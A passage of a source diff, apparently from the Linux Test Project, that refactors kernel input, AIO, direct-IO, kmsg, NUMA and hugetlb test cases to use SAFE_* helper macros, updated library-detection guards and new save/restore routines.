+ * 1: EV_SYN/SYN_REPORT events may be received in /dev/input/eventX
+ * On an old kernel(before v3.7.0), EV_SYN/SYN_REPORT events are always
+ * received even though we send empty moves.
+ */
+int no_events_queued(int fd, int stray_sync_event)
 {
 	struct pollfd fds = {.fd = fd, .events = POLLIN};
-	int ret, res;
+	int ret, res, sync_event_ignored;
 	struct input_event ev;
 
+	if (tst_kvercmp(3, 7, 0) < 0 && stray_sync_event)
+		sync_event_ignored = 1;
+
 	ret = poll(&fds, 1, 30);
 
 	if (ret > 0) {
 		res = read(fd, &ev, sizeof(ev));
 
 		if (res == sizeof(ev)) {
-			tst_resm(TINFO,
-			         "Unexpected ev type=%i code=%i value=%i",
-			         ev.type, ev.code, ev.value);
+			if (sync_event_ignored && check_sync_event(&ev)) {
+				ret = 0;
+				tst_resm(TINFO,
+					 "Ignoring stray sync event (known problem)");
+			} else {
+				tst_resm(TINFO,
+					 "Unexpected ev type=%i code=%i value=%i",
+					 ev.type, ev.code, ev.value);
+			}
 		}
 	}
 
diff --git a/testcases/kernel/input/input_helper.h b/testcases/kernel/input/input_helper.h
index 9b85dc9..7f61be1 100644
--- a/testcases/kernel/input/input_helper.h
+++ b/testcases/kernel/input/input_helper.h
@@ -29,6 +29,8 @@
 void create_device(int fd);
 void setup_mouse_events(int fd);
 void destroy_device(int fd);
-int no_events_queued(int fd);
+int check_event_code(struct input_event *iev, int event, int code);
+int check_sync_event(struct input_event *iev);
+int no_events_queued(int fd, int stray_sync_event);
 
 #endif /* INPUT_HELPER_H */
diff --git a/testcases/kernel/io/Makefile b/testcases/kernel/io/Makefile
index 88ba996..7db0288 100644
--- a/testcases/kernel/io/Makefile
+++ b/testcases/kernel/io/Makefile
@@ -24,6 +24,4 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-FILTER_OUT_DIRS		:= $(if $(AIO_LIBS),,aio ltp-aiodio)
-
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/io/aio/aio01/aio01.c b/testcases/kernel/io/aio/aio01/aio01.c
index 2829b24..ba23e22 100644
--- a/testcases/kernel/io/aio/aio01/aio01.c
+++ b/testcases/kernel/io/aio/aio01/aio01.c
@@ -47,26 +47,26 @@
 
 #define _XOPEN_SOURCE 600
 
-#include "test.h"
-#include "config.h"
-
-char *TCID = "aio01";
-int TST_TOTAL = 6;
-
-#ifdef HAVE_LIBAIO_H
-
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <time.h>
 #include <errno.h>
-#include <libaio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <sys/resource.h>
 
+#include "test.h"
+#include "config.h"
+
+char *TCID = "aio01";
+int TST_TOTAL = 6;
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
 static void help(void);
 static void setup(void);
 static void cleanup(void);
@@ -413,14 +413,11 @@
 	close(fd);
 	io_queue_release(io_ctx);
 	tst_rmdir();
-
 }
 
 #else
-
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "libaio missing");
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
 }
-
 #endif
diff --git a/testcases/kernel/io/aio/aio02/aio_tio.c b/testcases/kernel/io/aio/aio02/aio_tio.c
index 34fa9ed..08fb041 100644
--- a/testcases/kernel/io/aio/aio02/aio_tio.c
+++ b/testcases/kernel/io/aio/aio02/aio_tio.c
@@ -37,7 +37,7 @@
 #include <string.h>
 #include <errno.h>
 
-#if HAVE_LIBAIO_H
+#ifdef HAVE_LIBAIO
 
 #define AIO_MAXIO 32
 #define AIO_BLKSIZE (64*1024)
@@ -237,5 +237,4 @@
 
 	return status;
 }
-
 #endif
diff --git a/testcases/kernel/io/aio/aio02/main.c b/testcases/kernel/io/aio/aio02/main.c
index 24ec171..7b157f3 100644
--- a/testcases/kernel/io/aio/aio02/main.c
+++ b/testcases/kernel/io/aio/aio02/main.c
@@ -6,16 +6,16 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <unistd.h>
-#include "test.h"
+
 #include "config.h"
+#include "test.h"
 
 #define TEST_NAME "aio_tio"
 
 char *TCID = "aio02/" TEST_NAME;
 int TST_TOTAL = 0;
 
-#if HAVE_LIBAIO_H
-
+#ifdef HAVE_LIBAIO
 #include <libaio.h>
 
 int test_main(void);
@@ -32,6 +32,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "libaio missing");
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/io/direct_io/diotest4.c b/testcases/kernel/io/direct_io/diotest4.c
index f3b7d3b..e4616e4 100644
--- a/testcases/kernel/io/direct_io/diotest4.c
+++ b/testcases/kernel/io/direct_io/diotest4.c
@@ -65,11 +65,12 @@
 #include <sys/mman.h>
 #include <sys/syscall.h>
 #include <errno.h>
-#include <sys/shm.h>
 
 #include "diotest_routines.h"
 
 #include "test.h"
+#include "safe_macros.h"
+#include "lapi/mmap.h"
 
 char *TCID = "diotest4";	/* Test program identifier.    */
 int TST_TOTAL = 17;		/* Total number of test conditions */
@@ -195,7 +196,7 @@
 	int fd, newfd;
 	int i, l_fail = 0, fail_count = 0, total = 0;
 	int failed = 0;
-	int shmsz = SHMLBA;
+	int shmsz = MMAP_GRANULARITY;
 	int pagemask = ~(sysconf(_SC_PAGE_SIZE) - 1);
 	char *buf0, *buf1, *buf2;
 	caddr_t shm_base;
@@ -329,10 +330,7 @@
 	/* Test-7: Closed file descriptor */
 	offset = 4096;
 	count = bufsize;
-	if (close(fd) < 0) {
-		tst_brkm(TBROK, cleanup, "can't close fd %d: %s", fd,
-			 strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd);
 	ret = runtest_f(fd, buf2, offset, count, EBADF, 7, "closed fd");
 	testcheck_end(ret, &failed, &fail_count, "Closed file descriptor");
 	total++;
diff --git a/testcases/kernel/io/direct_io/dma_thread_diotest.c b/testcases/kernel/io/direct_io/dma_thread_diotest.c
index 5f52dcc..aa51bf2 100644
--- a/testcases/kernel/io/direct_io/dma_thread_diotest.c
+++ b/testcases/kernel/io/direct_io/dma_thread_diotest.c
@@ -401,10 +401,7 @@
 			tst_mkfs(NULL, device, "ext3", NULL, NULL);
 		}
 
-		if (mount(device, MNT_POINT, "ext3", 0, NULL) < 0) {
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "mount device:%s failed", device);
-		}
+		SAFE_MOUNT(NULL, device, MNT_POINT, "ext3", 0, NULL);
 		mount_flag = 1;
 	}
 
diff --git a/testcases/kernel/io/ltp-aiodio/aio-stress.c b/testcases/kernel/io/ltp-aiodio/aio-stress.c
index d6d7b08..348f398 100644
--- a/testcases/kernel/io/ltp-aiodio/aio-stress.c
+++ b/testcases/kernel/io/ltp-aiodio/aio-stress.c
@@ -50,19 +50,23 @@
 #include <errno.h>
 #include <assert.h>
 #include <stdlib.h>
-
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <sys/time.h>
-#include <libaio.h>
 #include <sys/ipc.h>
 #include <sys/shm.h>
 #include <sys/mman.h>
 #include <string.h>
 #include <pthread.h>
 
+#include "config.h"
+#include "tst_res_flags.h"
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
 #define IO_FREE 0
 #define IO_PENDING 1
 #define RUN_FOREVER -1
@@ -1557,3 +1561,10 @@
 	}
 	return status;
 }
+#else
+int main(void)
+{
+	fprintf(stderr, "test requires libaio and it's development packages\n");
+	return TCONF;
+}
+#endif
diff --git a/testcases/kernel/io/ltp-aiodio/aiocp.c b/testcases/kernel/io/ltp-aiodio/aiocp.c
index a00a1a0..d315353 100644
--- a/testcases/kernel/io/ltp-aiodio/aiocp.c
+++ b/testcases/kernel/io/ltp-aiodio/aiocp.c
@@ -34,10 +34,11 @@
 #include <mntent.h>
 #include <sys/select.h>
 #include <sys/mount.h>
+
 #include "config.h"
+#include "tst_res_flags.h"
 
-#if HAVE_LIBAIO_H
-
+#ifdef HAVE_LIBAIO
 #include <libaio.h>
 
 #define AIO_BLKSIZE	(64*1024)
@@ -598,11 +599,9 @@
  */
 
 #else
-
 int main(void)
 {
-	fprintf(stderr, "System doesn't have libaio support.\n");
-	return 1;
+	fprintf(stderr, "test requires libaio and it's development packages\n");
+	return TCONF;
 }
-
 #endif
diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_append.c b/testcases/kernel/io/ltp-aiodio/aiodio_append.c
index 39a529f..5d97ed9 100644
--- a/testcases/kernel/io/ltp-aiodio/aiodio_append.c
+++ b/testcases/kernel/io/ltp-aiodio/aiodio_append.c
@@ -32,10 +32,14 @@
 #include <fcntl.h>
 #include <unistd.h>
 
-#include <libaio.h>
-
+#include "config.h"
 #include "test.h"
 
+char *TCID = "aiodio_append";
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
 #define NUM_CHILDREN 8
 
 #include "common_checkzero.h"
@@ -174,3 +178,9 @@
 
 	return 0;
 }
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
+}
+#endif
diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
index d40e45b..4767f49 100644
--- a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
+++ b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
@@ -35,11 +35,17 @@
 #include <limits.h>
 #include <getopt.h>
 
-#include <libaio.h>
 
+#include "config.h"
 #include "test.h"
 #include "safe_macros.h"
 
+char *TCID = "aiodio_sparse";
+int TST_TOTAL = 1;
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
 #define NUM_CHILDREN 1000
 
 int debug;
@@ -49,9 +55,6 @@
 static void cleanup(void);
 static void usage(void);
 
-char *TCID = "aiodio_sparse";
-int TST_TOTAL = 1;
-
 #include "common_sparse.h"
 
 /*
@@ -325,3 +328,10 @@
 
 	tst_rmdir();
 }
+
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
+}
+#endif
diff --git a/testcases/kernel/ipc/pipeio/pipeio.c b/testcases/kernel/ipc/pipeio/pipeio.c
index 5aa082f..b9421cb 100644
--- a/testcases/kernel/ipc/pipeio/pipeio.c
+++ b/testcases/kernel/ipc/pipeio/pipeio.c
@@ -478,10 +478,7 @@
 		pipe_type = PIPE_UNNAMED;
 		blk_type = UNNAMED_IO;
 	} else {
-		if (mkfifo(pname, 0777) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				"mkfifo(%s, 0777) failed", pname);
-		}
+		SAFE_MKFIFO(cleanup, pname, 0777);
 		pipe_type = PIPE_NAMED;
 	}
 }
diff --git a/testcases/kernel/lib/Makefile b/testcases/kernel/lib/Makefile
index 8e19eed..fabf2f0 100644
--- a/testcases/kernel/lib/Makefile
+++ b/testcases/kernel/lib/Makefile
@@ -22,7 +22,8 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-CPPFLAGS		+= $(NUMA_CPPFLAGS) -I$(abs_srcdir)/../include \
+CPPFLAGS		+= -DNUMA_VERSION1_COMPATIBILITY \
+			   -I$(abs_srcdir)/../include \
 			   -I$(abs_builddir)/../include
 INTERNAL_LIB		:= libkerntest.a
 
diff --git a/testcases/kernel/lib/numa_helper.c b/testcases/kernel/lib/numa_helper.c
index dd080ee..2eee8d3 100644
--- a/testcases/kernel/lib/numa_helper.c
+++ b/testcases/kernel/lib/numa_helper.c
@@ -39,24 +39,13 @@
 unsigned long get_max_node(void)
 {
 	unsigned long max_node = 0;
-#if HAVE_NUMA_H
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-	max_node = NUMA_NUM_NODES;
-	/*
-	 * NUMA_NUM_NODES is not reliable, libnuma >=2 is looking
-	 * at /proc/self/status to figure out correct number.
-	 * If buffer is not large enough get_mempolicy will fail with EINVAL.
-	 */
-	if (max_node < 1024)
-		max_node = 1024;
-#else
+#ifdef HAVE_NUMA_V2
 	max_node = numa_max_possible_node() + 1;
 #endif
-#endif /* HAVE_NUMA_H */
 	return max_node;
 }
 
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 static void get_nodemask_allnodes(nodemask_t * nodemask, unsigned long max_node)
 {
 	unsigned long nodemask_size = max_node / 8;
@@ -74,7 +63,7 @@
 
 static int filter_nodemask_mem(nodemask_t * nodemask, unsigned long max_node)
 {
-#if MPOL_F_MEMS_ALLOWED
+#ifdef MPOL_F_MEMS_ALLOWED
 	unsigned long nodemask_size = max_node / 8;
 	memset(nodemask, 0, nodemask_size);
 	/*
@@ -145,7 +134,7 @@
 	}
 	free(cpumask);
 }
-#endif /* HAVE_NUMA_H */
+#endif /* HAVE_NUMA_V2 */
 
 /*
  * get_allowed_nodes_arr - get number and array of available nodes
@@ -163,7 +152,7 @@
 int get_allowed_nodes_arr(int flag, int *num_nodes, int **nodes)
 {
 	int ret = 0;
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	int i;
 	nodemask_t *nodemask = NULL;
 #endif
@@ -171,7 +160,7 @@
 	if (nodes)
 		*nodes = NULL;
 
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	unsigned long max_node, nodemask_size;
 
 	if (numa_available() == -1)
@@ -209,7 +198,7 @@
 		}
 	} while (0);
 	free(nodemask);
-#endif
+#endif /* HAVE_NUMA_V2 */
 	return ret;
 }
 
diff --git a/testcases/kernel/logging/kmsg/kmsg01.c b/testcases/kernel/logging/kmsg/kmsg01.c
index b207045..7f077c9 100644
--- a/testcases/kernel/logging/kmsg/kmsg01.c
+++ b/testcases/kernel/logging/kmsg/kmsg01.c
@@ -51,8 +51,10 @@
 #define NUM_READ_MSGS 3
 #define NUM_READ_RETRY 10
 #define NUM_OVERWRITE_MSGS 1024
-#define READ_TIMEOUT 5
+#define PRINTK "/proc/sys/kernel/printk"
+#define CONSOLE_LOGLEVEL_QUIET   4
 
+static int console_loglevel = -1;
 
 /*
  * inject_msg - write message to /dev/kmsg
@@ -65,9 +67,7 @@
 static int inject_msg(const char *msg)
 {
 	int f;
-	f = open("/dev/kmsg", O_WRONLY);
-	if (f < 0)
-		tst_brk(TBROK | TERRNO, "failed to open /dev/kmsg");
+	f = SAFE_OPEN("/dev/kmsg", O_WRONLY);
 	TEST(write(f, msg, strlen(msg)));
 	SAFE_CLOSE(f);
 	errno = TEST_ERRNO;
@@ -93,9 +93,7 @@
 	char msg[MAX_MSGSIZE + 1];
 
 	if (fd < 0) {
-		f = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-		if (f < 0)
-			tst_brk(TBROK, "failed to open /dev/kmsg");
+		f = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 	} else {
 		f = fd;
 	}
@@ -149,14 +147,14 @@
 /*
  * timed_read - if possible reads from fd or times out
  * @fd:           fd to read from
- * @timeout_sec:  timeout in seconds
+ * @timeout_usec: timeout in useconds
  *
  * RETURNS:
  *   read bytes on successful read
  *  -1 on read() error, errno reflects read() errno
  *  -2 on timeout
  */
-static int timed_read(int fd, int timeout_sec)
+static int timed_read(int fd, long timeout_usec)
 {
 	int ret, tmp;
 	struct timeval timeout;
@@ -164,8 +162,8 @@
 
 	FD_ZERO(&read_fds);
 	FD_SET(fd, &read_fds);
-	timeout.tv_sec = timeout_sec;
-	timeout.tv_usec = 0;
+	timeout.tv_sec = timeout_usec / 1000000;
+	timeout.tv_usec = timeout_usec % 1000000;
 
 	ret = select(fd + 1, &read_fds, 0, 0, &timeout);
 	switch (ret) {
@@ -184,14 +182,14 @@
  *                   read fails or times out. This ignores any
  *                   EPIPE errors.
  * @fd:           fd to read from
- * @timeout_sec:  timeout in seconds for every read attempt
+ * @timeout_usec: timeout in useconds for every read attempt
  *
  * RETURNS:
  *     0 on read reaching eof
  *    -1 on read error, errno reflects read() errno
  *    -2 on timeout
  */
-static int timed_read_kmsg(int fd, int timeout_sec)
+static int timed_read_kmsg(int fd, long timeout_usec)
 {
 	int child, status, ret = 0;
 	int pipefd[2];
@@ -227,15 +225,14 @@
 
 	/* parent reads pipe until it reaches eof or until read times out */
 	do {
-		TEST(timed_read(pipefd[0], timeout_sec));
+		TEST(timed_read(pipefd[0], timeout_usec));
 	} while (TEST_RETURN > 0);
 	SAFE_CLOSE(pipefd[0]);
 
 	/* child is blocked, kill it */
 	if (TEST_RETURN == -2)
 		kill(child, SIGTERM);
-	if (waitpid(child, &status, 0) == -1)
-		tst_brk(TBROK | TERRNO, "waitpid");
+	SAFE_WAITPID(child, &status, 0);
 	if (WIFEXITED(status)) {
 		if (WEXITSTATUS(status) == 0) {
 			return 0;
@@ -252,11 +249,9 @@
 	int fd;
 
 	tst_res(TINFO, "TEST: nonblock read");
-	fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-	if (fd < 0)
-		tst_brk(TBROK|TERRNO, "failed to open /dev/kmsg");
+	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 
-	TEST(timed_read_kmsg(fd, READ_TIMEOUT));
+	TEST(timed_read_kmsg(fd, 5000000));
 	if (TEST_RETURN == -1 && TEST_ERRNO == EAGAIN)
 		tst_res(TPASS, "non-block read returned EAGAIN");
 	else
@@ -270,11 +265,9 @@
 	int fd;
 
 	tst_res(TINFO, "TEST: blocking read");
-	fd = open("/dev/kmsg", O_RDONLY);
-	if (fd < 0)
-		tst_brk(TBROK|TERRNO, "failed to open /dev/kmsg");
+	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY);
 
-	TEST(timed_read_kmsg(fd, READ_TIMEOUT));
+	TEST(timed_read_kmsg(fd, 500000));
 	if (TEST_RETURN == -2)
 		tst_res(TPASS, "read blocked");
 	else
@@ -288,9 +281,7 @@
 	int fd;
 
 	tst_res(TINFO, "TEST: partial read");
-	fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-	if (fd < 0)
-		tst_brk(TBROK|TERRNO, "failed to open /dev/kmsg");
+	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 
 	TEST(read(fd, msg, 1));
 	if (TEST_RETURN < 0)
@@ -366,9 +357,7 @@
 	 * NUM_READ_RETRY attempts, report TWARN */
 	tst_res(TINFO, "TEST: mult. readers will get same first message");
 	while (j) {
-		fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-		if (fd < 0)
-			tst_brk(TBROK|TERRNO, "failed to open /dev/kmsg");
+		fd = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 
 		for (i = 0; i < NUM_READ_MSGS; i++) {
 			if (find_msg(-1, "", msg, sizeof(msg), 1) != 0)
@@ -421,9 +410,7 @@
 	 * We know first message is overwritten when its seqno changes */
 	tst_res(TINFO, "TEST: read returns EPIPE when messages get "
 		"overwritten");
-	fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-	if (fd < 0)
-		tst_brk(TBROK|TERRNO, "failed to open /dev/kmsg");
+	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 
 	if (find_msg(-1, "", msg, sizeof(msg), 1) == 0
 		&& get_msg_fields(msg, NULL, &first_seqno) == 0) {
@@ -586,7 +573,23 @@
 	test_seek();
 }
 
+static void setup(void)
+{
+	if (access(PRINTK, F_OK) == 0) {
+		SAFE_FILE_SCANF(PRINTK, "%d", &console_loglevel);
+		SAFE_FILE_PRINTF(PRINTK, "%d", CONSOLE_LOGLEVEL_QUIET);
+	}
+}
+
+static void cleanup(void)
+{
+	if (console_loglevel != -1)
+		SAFE_FILE_PRINTF(PRINTK, "%d", console_loglevel);
+}
+
 static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
 	.needs_root = 1,
 	.test_all = test_kmsg,
 	.min_kver = "3.5.0"
diff --git a/testcases/kernel/mem/cpuset/cpuset01.c b/testcases/kernel/mem/cpuset/cpuset01.c
index e10124c..354b6fc 100644
--- a/testcases/kernel/mem/cpuset/cpuset01.c
+++ b/testcases/kernel/mem/cpuset/cpuset01.c
@@ -23,6 +23,9 @@
 #include "config.h"
 #include <stdio.h>
 #include <sys/wait.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
 #if HAVE_NUMAIF_H
 #include <numaif.h>
 #endif
@@ -30,8 +33,8 @@
 #include "mem.h"
 #include "numa_helper.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
+
 volatile int end;
 static int *nodes;
 static int nnodes;
@@ -71,8 +74,7 @@
 	snprintf(buf, BUFSIZ, "%d", nodes[1]);
 	write_cpuset_files(CPATH_NEW, "mems", buf);
 
-	if (waitpid(child, &status, WUNTRACED | WCONTINUED) == -1)
-		tst_brk(TBROK | TERRNO, "waitpid");
+	SAFE_WAITPID(child, &status, WUNTRACED | WCONTINUED);
 	if (WEXITSTATUS(status) != 0) {
 		tst_res(TFAIL, "child exit status is %d", WEXITSTATUS(status));
 		return;
@@ -187,6 +189,6 @@
 	.min_kver = "2.6.32",
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c
index d56fbfa..4dc330d 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c
@@ -37,8 +37,6 @@
 #include <sys/mount.h>
 #include <limits.h>
 #include <sys/param.h>
-
-#include "mem.h"
 #include "hugetlb.h"
 
 static struct tst_option options[] = {
@@ -91,13 +89,11 @@
 
 void setup(void)
 {
-	check_hugepage();
-	orig_hugepages = get_sys_tune("nr_hugepages");
+	save_nr_hugepages();
 
 	if (!Hopt)
 		Hopt = tst_get_tmpdir();
-	if (mount("none", Hopt, "hugetlbfs", 0, NULL) < 0)
-		tst_brk(TBROK | TERRNO, "mount failed on %s", Hopt);
+	SAFE_MOUNT("none", Hopt, "hugetlbfs", 0, NULL);
 
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
@@ -109,7 +105,7 @@
 void cleanup(void)
 {
 	unlink(TEMPFILE);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 
 	umount(Hopt);
 }
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c
index 8614248..0be753e 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c
@@ -39,8 +39,6 @@
 #include <sys/mount.h>
 #include <limits.h>
 #include <sys/param.h>
-
-#include "mem.h"
 #include "hugetlb.h"
 
 #define LOW_ADDR       0x80000000
@@ -137,13 +135,11 @@
 
 static void setup(void)
 {
-	check_hugepage();
-	orig_hugepages = get_sys_tune("nr_hugepages");
+	save_nr_hugepages();
 
 	if (!Hopt)
 		Hopt = tst_get_tmpdir();
-	if (mount("none", Hopt, "hugetlbfs", 0, NULL) < 0)
-		tst_brk(TBROK | TERRNO, "mount failed on %s", Hopt);
+	SAFE_MOUNT("none", Hopt, "hugetlbfs", 0, NULL);
 
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
@@ -155,7 +151,7 @@
 static void cleanup(void)
 {
 	unlink(TEMPFILE);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 
 	umount(Hopt);
 }
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c
index f6d51a5..674d367 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c
@@ -38,8 +38,6 @@
 #include <stdio.h>
 #include <limits.h>
 #include <sys/param.h>
-
-#include "mem.h"
 #include "hugetlb.h"
 
 static struct tst_option options[] = {
@@ -108,13 +106,11 @@
 
 void setup(void)
 {
-	check_hugepage();
-	orig_hugepages = get_sys_tune("nr_hugepages");
+	save_nr_hugepages();
 
 	if (!Hopt)
 		Hopt = tst_get_tmpdir();
-	if (mount("none", Hopt, "hugetlbfs", 0, NULL) < 0)
-		tst_brk(TBROK | TERRNO, "mount failed on %s", Hopt);
+	SAFE_MOUNT("none", Hopt, "hugetlbfs", 0, NULL);
 
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
@@ -126,7 +122,7 @@
 void cleanup(void)
 {
 	unlink(TEMPFILE);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 
 	umount(Hopt);
 }
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c
index c73a975..445b05f 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c
@@ -29,7 +29,6 @@
 #include <string.h>
 #include <unistd.h>
 #include <stdio.h>
-#include "mem.h"
 #include "hugetlb.h"
 #include "tst_safe_sysv_ipc.h"
 #include "tst_test.h"
@@ -206,8 +205,8 @@
 
 static void setup(void)
 {
-	hugepagesize = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 	check_hugepage();
+	hugepagesize = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 	init_sys_sz_paths();
 
 	if (opt_sysfs) {
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
index 40caf81..550a91e 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
@@ -35,7 +35,6 @@
 #define _GNU_SOURCE
 #include <pthread.h>
 #include <stdio.h>
-#include "mem.h"
 #include "hugetlb.h"
 #include "lapi/mmap.h"
 
@@ -52,10 +51,9 @@
 
 static void setup(void)
 {
-	check_hugepage();
+	save_nr_hugepages();
 
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
-	orig_hugepages = get_sys_tune("nr_hugepages");
 
 	hugepages = (ARSZ + 1) * LOOP;
 
@@ -67,7 +65,7 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static void *thr(void *arg)
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c
index a0867a8..942f99e 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c
@@ -39,8 +39,6 @@
 
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
-#include "hugetlb.h"
 
 #define CASE0 10 /* values to write into the shared */
 #define CASE1 20 /* memory location.                */
@@ -169,11 +167,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -190,7 +187,7 @@
 static void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c
index f45151d..1c2c978 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c
@@ -37,8 +37,6 @@
 #include <pwd.h>
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
-#include "hugetlb.h"
 
 #if __WORDSIZE == 64
 #define NADDR	0x10000000eef	/* a 64bit non alligned address value */
@@ -93,11 +91,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -116,7 +113,7 @@
 void cleanup(void)
 {
 	rm_shm(shm_id_2);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c
index f628710..13221b1 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c
@@ -43,8 +43,6 @@
 
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
-#include "hugetlb.h"
 
 static size_t shm_size;
 static int shm_id_1 = -1;
